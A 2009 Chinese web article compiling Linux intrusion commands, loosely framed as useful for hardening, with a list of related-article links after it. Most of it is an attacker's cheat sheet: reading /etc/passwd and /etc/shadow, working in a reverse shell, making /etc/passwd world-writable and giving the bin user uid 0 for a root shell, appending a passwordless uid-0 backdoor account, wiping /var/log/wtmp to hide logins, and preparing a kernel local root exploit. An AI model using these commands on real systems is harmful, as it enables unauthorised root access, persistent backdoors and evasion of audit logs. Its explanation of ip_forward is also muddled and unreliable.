linux 入侵常用命令汇编

 更新时间:2009年07月09日 23:51:28   作者:  
掌握这些命令也有助于配置linux的安全,大家可以看看。
cat /etc/passwd 查看linux用户

  cat /etc/shadow 查看用户密码需要root权限

  cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息

  ifconfig 查看本机ip信息

  cat /etc/resolv.conf 查看DNS信息

  bash -i 在反弹的shell中使用可以直观显示命令

  bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以Root登陆时,你的prompt会变成

  bash#。

  系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。

  echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,

  vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!

  netstat -an |grep LISTEN |grep :80 查看端口

  service --status-all | grep running

  service --status-all | grep http

  查看运行服务

  lsb_release -a 查看系统版本

  重启ssh服务 :/usr/sbin/sshd stop

  /usr/sbin/sshd start

  ssd_config文件里

  PasswordAuthentication no,

  将其改为

  PasswordAuthentication yes

  远程ssh才可登录

  否则显示Access denied

  其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.

  su的菜鸟用法

  先chomod 777 /etc/passwd

  然后修改bin用户的gid和uid为0

  然后passwd设置bin的密码

  然后cp /bin/bash /sbin/nologin

  然后su的时候su - bin就可以到rootshell了。

  这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码,的一种很菜鸟的做法

  还可以这样

  sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd

  gcc prtcl2.c –o local –static –Wall

  echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd

  echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

  清空last记录 cp /dev/null /var/log/wtmp

  -----

  dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的。

相关文章

  • Apache源码安装和虚拟主机配置的教程详解

    Apache源码安装和虚拟主机配置的教程详解

    这篇文章主要介绍了Apache源码安装和虚拟主机配置的教程,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-11-11
  • Centos 7.4服务器时间同步配置方法【基于NTP服务】

    Centos 7.4服务器时间同步配置方法【基于NTP服务】

    这篇文章主要介绍了Centos 7.4服务器时间同步配置方法,结合实例形式分析了NTP服务器安装、启动、设置时间同步等相关命令及问题解决方法,需要的朋友可以参考下
    2019-03-03
  • Ubuntu 下配置Rsync服务的方法

    Ubuntu 下配置Rsync服务的方法

    Ubuntu 下配置Rsync服务的方法,需要的朋友可以参考下。
    2009-09-09
  • Linux系统文件的默认权限和特殊权限

    Linux系统文件的默认权限和特殊权限

    这篇文章主要介绍了Linux系统文件的默认权限和特殊权限的相关知识,非常不错,具有一定的参考借鉴价值,需要的朋友可以参考下
    2019-10-10
  • Ubuntu18.04更换国内源的方法示例

    Ubuntu18.04更换国内源的方法示例

    这篇文章主要介绍了Ubuntu18.04更换国内源的方法示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-12-12
  • 使用CDN之后APACHE日志记录中IP地址不正确的解决方案

    使用CDN之后APACHE日志记录中IP地址不正确的解决方案

    这篇文章主要介绍了使用CDN之后APACHE日志记录中IP地址不正确的解决方案,需要的朋友可以参考下
    2014-12-12
  • Linux 系统双网卡绑定配置实现

    Linux 系统双网卡绑定配置实现

    这篇文章主要介绍了Linux 系统双网卡绑定配置实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-06-06
  • Linux which命令的具体使用

    Linux which命令的具体使用

    这篇文章主要介绍了Linux which命令的具体使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-02-02
  • Yum中报错:“pycurl.so: undefined symbol: CRYPTO_num_locks”的问题排查

    Yum中报错:“pycurl.so: undefined symbol: CRYPTO_num_locks”

    这篇文章主要给大家介绍了在Yum中报错: "pycurl.so: undefined symbol: CRYPTO_num_locks"的问题排查的相关资料,文中通过图文介绍的非常详细,需要的朋友可以参考借鉴,下面来一起看看吧。
    2017-06-06
  • VirtualBox 未指定要bridged的网络界面的解决办法

    VirtualBox 未指定要bridged的网络界面的解决办法

    这篇文章主要介绍了VirtualBox 未指定要bridged的网络界面的解决办法的相关资料,希望通过本文能帮助到大家,让大家解决遇到这样的问题,需要的朋友可以参考下
    2017-10-10

最新评论